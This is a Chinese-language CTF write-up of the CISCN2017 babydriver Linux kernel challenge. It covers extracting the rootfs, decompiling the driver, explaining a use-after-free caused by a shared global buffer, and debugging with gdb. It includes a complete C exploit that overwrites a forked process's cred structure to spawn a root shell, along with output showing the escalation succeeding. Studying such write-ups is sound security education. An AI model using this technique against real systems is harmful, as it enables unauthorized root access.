写在前面

这篇文章目的在于简单介绍内核PWN题,揭开内核的神秘面纱。背后的知识点包含Linux驱动和内核源码,学习路线非常陡峭。也就是说,会一道Linux内核PWN需要非常多的铺垫知识,如果要学习可以先从UNICORN、QEMU开始看起,然后看Linux驱动的内容,最后看Linux的内存管理、进程调度和文件的实现原理。至于内核API函数不用死记硬背,用到的时候再查都来得及。

题目概述

这题是参考ctf-wiki上的内核例题,题目名称CISCN2017_babydriver,是一道简单的内核入门题,所牵涉的知识点并不多。题目附件可以在ctf-wiki的GitHub仓库找到:https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/kernel/CISCN2017-babydriver

  • 首先将题目附件下载下来,解压后得到所有的文件如下:

    .
    ├── boot.sh # 启动脚本,运行这个脚本来启动QEMU
    ├── bzImage # 压缩过的内核镜像
    └── rootfs.cpio # 作为初始RAM磁盘的文件
  • 查看启动脚本boot.sh内容如下:

    #!/bin/bash
    
    qemu-system-x86_64 \
    -initrd rootfs.cpio \ # 指定使用rootfs.cpio作为初始RAM磁盘。可以使用cpio 命令提取这个cpio文件,提取出里面的需要的文件,比如init脚本和babydriver.ko的驱动文件。提取操作的命令放在下面的操作步骤中
    -kernel bzImage \ # 使用当前目录的bzImage作为内核镜像
    -append 'console=ttyS0 root=/dev/ram oops=panic panic=1' \ # 使用后面的字符串作为内核命令行
    -enable-kvm \ # 启用加速器
    -monitor /dev/null \ # 将监视器重定向到字符设备/dev/null
    -m 64M \ # 参数设置RAM大小为64M
    --nographic \ # 参数禁用图形输出并将串行I/O重定向到控制台
    -smp cores=1,threads=1 \ # 参数将CPU设置为1核心1线程
    -cpu kvm64,+smep # 参数选择CPU为kvm64,开启了smep保护,无法在ring 0级别执行用户代码
  • 文件bzImage是压缩编译的内核镜像文件。有些题目会提供vmlinux文件,它是未被压缩的镜像文件。这个题目没有提供,但也不要紧,可以用脚本提取出vmlinux,而使用vmlinux的目的也就是找gadget,提取vmlinux的脚本也可以在Linux的GitHub上找到:https://github.com/torvalds/linux/blob/master/scripts/extract-vmlinux。把代码复制到文件中,保存为extract-vmlinux,然后赋予执行权限。提取vmlinux命令如下:

    ./extract-vmlinux ./bzImage > vmlinux

    可以使用ropper在提取的vmlinux中搜寻gadget,ropper比ROPgadget快很多:

    ropper --file ./vmlinux --nocolor > g1
  • rootfs.cpio是启动内核的RAM磁盘文件,可以把它看作一个微型Linux文件系统。使用file命令查看可以看到它是gzip格式:

    unravel@unravel:~/pwn$ file rootfs.cpio
    rootfs.cpio: gzip compressed data, last modified: Tue Jul 4 08:39:15 2017, max compression, from Unix, original size modulo 2^32 2844672

    我们将rootfs.cpio改名为rootfs.cpio.gz,然后将它解压出来:

    unravel@unravel:~/pwn$ ls
    boot.sh bzImage rootfs.cpio unravel@unravel:~/pwn$ mv rootfs.cpio rootfs.cpio.gz
    unravel@unravel:~/pwn$ ls
    boot.sh bzImage rootfs.cpio.gz unravel@unravel:~/pwn$ gunzip rootfs.cpio.gz
    unravel@unravel:~/pwn$ ls
    boot.sh bzImage rootfs.cpio unravel@unravel:~/pwn$ file rootfs.cpio
    rootfs.cpio: ASCII cpio archive (SVR4 with no CRC)

    因为rootfs.cpio里面包含一些文件系统,它的文件比较多,我们可以创建一个文件夹,然后用cpio命令把所有文件提取到新建的文件夹下,保证一个干净的根目录,后面也将内容重新打包:

    unravel@unravel:~/pwn$ mkdir core && cp rootfs.cpio core && cd core && cpio -idmv < rootfs.cpio
    
    unravel@unravel:~/pwn/core$ ls
    bin etc home init lib linuxrc proc rootfs.cpio sbin sys tmp usr

启动文件和驱动程序函数

  • 在我们上一步解压完rootfs.cpio之后可以看到它就是Linux的文件系统。在根目录下里面有一个「init」文件,它决定启动哪些程序,比如执行某些脚本和启动shell。它的内容如下,除了insmod命令之外都是Linux的基本命令便不再赘述:

    #!/bin/sh
    
    mount -t proc none /proc
    mount -t sysfs none /sys
    mount -t devtmpfs devtmpfs /dev
    chown root:root flag
    chmod 400 flag
    exec 0</dev/console
    exec 1>/dev/console
    exec 2>/dev/console insmod /lib/modules/4.4.72/babydriver.ko # insmod命令加载了一个名为babydriver.ko的驱动,根据一般的PWN题套路,这个就是有漏洞的LKM了
    chmod 777 /dev/babydev
    echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
    setsid cttyhack setuidgid 1000 sh umount /proc
    umount /sys
    poweroff -d 0 -f
  • 在init文件中看到用insmod命令加载了babydriver.ko驱动,那么我们把这个驱动拿出来,检查一下开启的保护:

    unravel@unravel:~/pwn/core/lib/modules/4.4.72$ checksec --file=babydriver.ko
    RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
    No RELRO No canary found NX disabled Not an ELF file No RPATH No RUNPATH 64 Symbols No 0 0 babydriver.ko

    可以看到程序保留了符号信息,其他保护都没有开启

  • 把驱动程序放到IDA里面查看程序逻辑,除了init初始化和exit外还有5个函数:

    • babyrelease:主要功能是释放空间

      int __fastcall babyrelease(inode *inode, file *filp)
      {
      _fentry__(inode, filp);
      kfree(babydev_struct.device_buf);
      printk("device release\n");
      return 0;
      }
    • babyopen:调用kmem_cache_alloc_trace函数申请一块大小为64字节的空间,返回值存储在device_buf中,并设置device_buf_len

      int __fastcall babyopen(inode *inode, file *filp)
      {
      _fentry__(inode, filp);
      babydev_struct.device_buf = (char *)kmem_cache_alloc_trace(kmalloc_caches[6], 0x24000C0LL, 64LL);
      babydev_struct.device_buf_len = 64LL;
      printk("device open\n");
      return 0;
      }
    • babyioctl:定义0x10001的命令,这条命令可以释放刚才申请的device_buf,然后重新申请一个用户传入的内存,并设置device_buf_len

      __int64 __fastcall babyioctl(file *filp, unsigned int command, unsigned __int64 arg)
      {
      size_t v3; // rdx
      size_t v4; // rbx _fentry__(filp, command);
      v4 = v3;
      if ( command == 0x10001 )
      {
      kfree(babydev_struct.device_buf);
      babydev_struct.device_buf = (char *)_kmalloc(v4, 0x24000C0LL);
      babydev_struct.device_buf_len = v4;
      printk("alloc done\n");
      return 0LL;
      }
      else
      {
      printk(&unk_2EB);
      return -22LL;
      }
      }
    • babywritecopy_from_user是从用户空间拷贝数据到内核空间,应当接受三个参数copy_from_user(char*, char*,int),IDA里面是没有识别成功,需要手动按Y键修复。babywrite函数先检查长度是否小于device_buf_len,然后把 buffer 中的数据拷贝到 device_buf

      ssize_t __fastcall babywrite(file *filp, const char *buffer, size_t length, loff_t *offset)
      {
      size_t v4; // rdx
      ssize_t result; // rax
      ssize_t v6; // rbx _fentry__(filp, buffer);
      if ( !babydev_struct.device_buf )
      return -1LL;
      result = -2LL;
      if ( babydev_struct.device_buf_len > v4 )
      {
      v6 = v4;
      copy_from_user(babydev_struct.device_buf, (char *)buffer, v4);
      result = v6;
      }
      return result;
      }
    • babyread:和babywrite差不多,不过是把device_buf拷贝到buffer

      ssize_t __fastcall babyread(file *filp, char *buffer, size_t length, loff_t *offset)
      {
      size_t v4; // rdx
      ssize_t result; // rax
      ssize_t v6; // rbx _fentry__(filp, buffer);
      if ( !babydev_struct.device_buf )
      return -1LL;
      result = -2LL;
      if ( babydev_struct.device_buf_len > v4 )
      {
      v6 = v4;
      copy_to_user(buffer, babydev_struct.device_buf, v4);
      result = v6;
      }
      return result;
      }

漏洞点和利用思路

  • 值得注意的是驱动程序中的函数操作都使用同一个变量babydev_struct,而babydev_struct是全局变量,漏洞点在于多个设备同时操作这个变量会将变量覆盖为最后改动的内容,没有对全局变量上锁,导致条件竞争

  • 我们使用ioctl同时打开两个设备,第二次打开的内容会覆盖掉第一次打开设备的babydev_struct ,如果释放第一个,那么第二个理论上也被释放了,实际上并没有,就造成了一个UAF

  • 释放其中一个后,使用fork,那么这个新进程的cred空间就会和之前释放的空间重叠

  • 利用那个没有释放的描述符对这块空间写入,把cred结构体中的uidgid改为0,就可实现提权

  • 还有在修改时需要知道cred结构的大小,可以根据内核版本可以查看源码,计算出cred结构大小是0xa8,不同版本的内核源码这个结构体的大小都不一样

exp代码

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/wait.h>
#include <sys/stat.h> int main()
{
// 打开两次设备
int fd1 = open("/dev/babydev", 2);
int fd2 = open("/dev/babydev", 2); // 修改 babydev_struct.device_buf_len 为 sizeof(struct cred)
ioctl(fd1, 0x10001, 0xa8); // 释放 fd1
close(fd1); // 新起进程的 cred 空间会和刚刚释放的 babydev_struct 重叠
int pid = fork();
if(pid < 0)
{
puts("[*] fork error!");
exit(0);
} else if(pid == 0)
{
// 通过更改 fd2,修改新进程的 cred 的 uid,gid 等值为0
char zeros[30] = {0};
write(fd2, zeros, 28); if(getuid() == 0)
{
puts("[+] root now.");
system("/bin/sh");
exit(0);
}
} else
{
wait(NULL);
}
close(fd2); return 0;
}

执行exp

需要将编写的exp编译成可执行文件,然后把它复制到rootfs.cpio提取出来的文件系统中,再将文件系统重新打包成cpio,这样在内核重新运行的时候就有exp这个文件了。

  • 将exp编译好,注意需要改为静态编译,因为我们的内核是没有动态链接的:

    unravel@unravel:~/pwn$ gcc exp.c -static -o exp
  • 接下来我们复制exp到文件系统下,然后使用cpio命令重新打包:

    unravel@unravel:~/pwn$ cp exp core/tmp/
    unravel@unravel:~/pwn$ cd core/
    unravel@unravel:~/pwn/core$ ls
    bin etc home init lib linuxrc proc rootfs.cpio sbin sys tmp usr unravel@unravel:~/pwn/core$ find . | cpio -o --format=newc > rootfs.cpio
    cpio: File ./rootfs.cpio grew, 3522560 new bytes not copied
    14160 blocks unravel@unravel:~/pwn/core$ cp rootfs.cpio ..
  • 下一步就可以重新运行内核了。执行boot.sh启动内核后,在刚才拷贝的/tmp目录下找到exp可执行程序:

    / $ ls -la /tmp/
    total 864
    drwxrwxr-x 2 ctf ctf 0 Dec 16 09:35 .
    drwxrwxr-x 13 ctf ctf 0 Dec 17 08:35 ..
    -rwxrwxr-x 1 ctf ctf 883168 Dec 17 08:30 exp
  • 执行后可得到root权限,提权成功:

    / $ id
    uid=1000(ctf) gid=1000(ctf) groups=1000(ctf) / $ /tmp/exp
    [ 115.517513] device open
    [ 115.522342] device open
    [ 115.527241] alloc done
    [ 115.532132] device release
    [+] root now. / # id
    uid=0(root) gid=0(root) groups=1000(ctf)

调试

  • 可以在boot.sh文件中添加-s参数来使用gdb调试,它默认端口1234。也可以指定端口号进行调试,只需要使用-gdb tcp:port即可。在启动的内核中使用lsmod查看加载的驱动基地址,得到0xffffffffc0000000,然后启动gdb,使用target remote指定调试IP和端口号进行调试,然后添加babydriver的符号信息,过程如下:

    # 在QEMU运行的内核中运行如下命令
    / $ lsmod
    babydriver 16384 0 - Live 0xffffffffc0000000 (OE)
    # 启动gdb,配置调试信息
    gdb -q gef➤ target remote localhost:1234
    Remote debugging using localhost:1234 gef➤ add-symbol-file pwn/core/lib/modules/4.4.72/babydriver.ko 0xffffffffc0000000
    add symbol table from file "pwn/core/lib/modules/4.4.72/babydriver.ko"
    Reading symbols from pwn/core/lib/modules/4.4.72/babydriver.ko...
  • 这里建议使用gef插件,pwndbg和peda调试内核总有一些玄学问题。如果gef报错context相关问题(如下图),在gdb中输入命令python set_arch()就可以查看调试上下文了:

  • 我们之前在gdb中使用add-symbol-file命令加载了babydriver.ko的符号信息,并指定了加载基地址,在下断点的时候可以直接使用符号来打断点:

总结

通过一道题认识了内核PWN的解题步骤,以及如何对内核进行调试。对于不知道用法的内核函数和结构体,可以在manned.org网站或者源码中查看。

参考资料

CTF-WIKI链接:https://ctf-wiki.org/pwn/linux/kernel-mode/exploitation/uaf/#_2

Linux在线源码:https://elixir.bootlin.com/linux/v4.4.72/source/mm/slab.c#L3431

MannedOrg:https://manned.org/kmalloc.3

QEMU手册:https://www.qemu.org/docs/master/system/quickstart.html

UNICORN:https://www.unicorn-engine.org/docs/

通过一道简单的例题了解Linux内核PWN的更多相关文章

  1. Linux 内核 链表 的简单模拟(2)

    接上一篇Linux 内核 链表 的简单模拟(1) 第五章:Linux内核链表的遍历 /** * list_for_each - iterate over a list * @pos: the & ...

  2. Linux 内核版本命名

    Linux 内核版本命名在不同的时期有其不同的规范,我们熟悉的也许是 2.x 版本奇数表示开发版.偶数表示稳定版,但到 2.6.x 以及 3.x 甚至将来的 4.x ,内核版本命名都不遵守这样的约定. ...

  3. 《Linux内核设计与实现》读书笔记 第二章 从内核出发

    一.获取内核源码 1. Git git实际上是一种开源的分布式版本控制工具. Linux作为一个开源的内核,其源代码也可以用git下载和管理 - 获取最新提交到版本树的一个副本 - $ git clo ...

  4. 修改Linux内核参数提高Nginx服务器并发性能

    当linux下Nginx达到并发数很高,TCP TIME_WAIT套接字数量经常达到两.三万,这样服务器很容易被拖死.事实上,我们可以简单的通过修改Linux内核参数,可以减少Nginx服务器 的TI ...

  5. 《Linux内核分析》期终总结

    作者:杨舒雯,原创作品转载请注明出处,<Linux内核分析>MOOC课程http://mooc.study.163.com/course/USTC-1000029000 目录: 1.通过简 ...

  6. Linux内核0.11体系结构 ——《Linux内核完全注释》笔记打卡

    0 总体介绍 一个完整的操作系统主要由4部分组成:硬件.操作系统内核.操作系统服务和用户应用程序,如图0.1所示.操作系统内核程序主要用于对硬件资源的抽象和访问调度. 图0.1 操作系统组成部分 内核 ...

  7. Linux内核编译完整过程

    Linux内核编译完整过程 通过网上的资料我自己的实际内核编译,我把对Linux内核编译的过程写在这里,也许对其他的Linux爱好者的编译学习有些帮助,其中很大部分是网上的资料,另外就是我在实际编译过 ...

  8. Linux内核分析(三)内核启动过程分析——构造一个简单的Linux系统

    一.系统的启动(各历史节点) 在最开始的时候,计算机的启动实际上依靠一段二进制码,可以这么理解,他并不是一个真正的计算机启动一道程序.计算机在开始加电的时候几乎是没有任何用处的,因为RAM芯片中包括的 ...

  9. linux内核学习之一 简单c语言反汇编

    (我是第一次发技术博客的菜鸟,恳请大家指导!!) 一  由简单c程序生成汇编代码 首先给出本次我们要反汇编的简单c语言程序:(够简单吧~) 在linux环境中使用下面的命令条件编译: 生成汇编文件sh ...

随机推荐

  1. LG 11 月 月赛 II T4

    LG 11 月 月赛 II T4 看到膜数和 $ 10^5 $ 以及 $ n^2 $ 的部分分想到很可能是 NTT 于是开始推式子 首先看到式子可以化作, 如果 \(k = 0\) , $ f(l , ...

  2. time 查看命令执行时间

    在命令执行完成之后就会打印出CPU的使用情况: real    0m5.064s      <== 实际使用时间(real time) user    0m0.020s     <== 用 ...

  3. 基本绘图函数:plot的使用

    注意:"##"后面是程序输出结果 例如: par("bg") # 命令 ## [1] "white" # 结果 基本绘图函数: plot:散 ...

  4. Linux-普通用户和root用户任意切换

    普通用户切换为root: 1.[xnlay@bogon ~]$含义:xnlay代表当前用户,bogon指的是主机名,~表示当前用户,$表示普通用户:[root@bogon ~]#root代表是超级用户 ...

  5. session与cookie 浏览器关闭时的区别

    session与cookie 浏览器关闭时的区别 cookie是存储在本地,当cookie在浏览器关闭的时候,再次打开是否记录之前的值,这跟cookie的过期时间设置有关. 如果cookie的过期时间 ...

  6. absent, absolute

    absent 1. A teacher asked in a class who killed Abraham Lincoln. A blonde said "It wasn't me, I ...

  7. Flink(四)【IDEA执行查看Web UI】

    1.导入依赖 <!-- flink Web UI --> <dependency> <groupId>org.apache.flink</groupId> ...

  8. 使用Mock测试

    一.前言 在前面的章节我们介绍过 Junit 的使用,也了解过 spring-test,今天我们来了解一个新玩意 -- mock 测试.这里仅仅做一个入门,对返回视图和返回 Json 数据的方法进行测 ...

  9. python web框架学习笔记

    一.web框架本质 1.基于socket,自己处理请求 #!/usr/bin/env python3 #coding:utf8 import socket def handle_request(cli ...

  10. jquery对radio和checkbox的操作

    jQuery获取Radio选择的Value值 代码  $("input[name='radio_name'][checked]").val(); //选择被选中Radio的Valu ...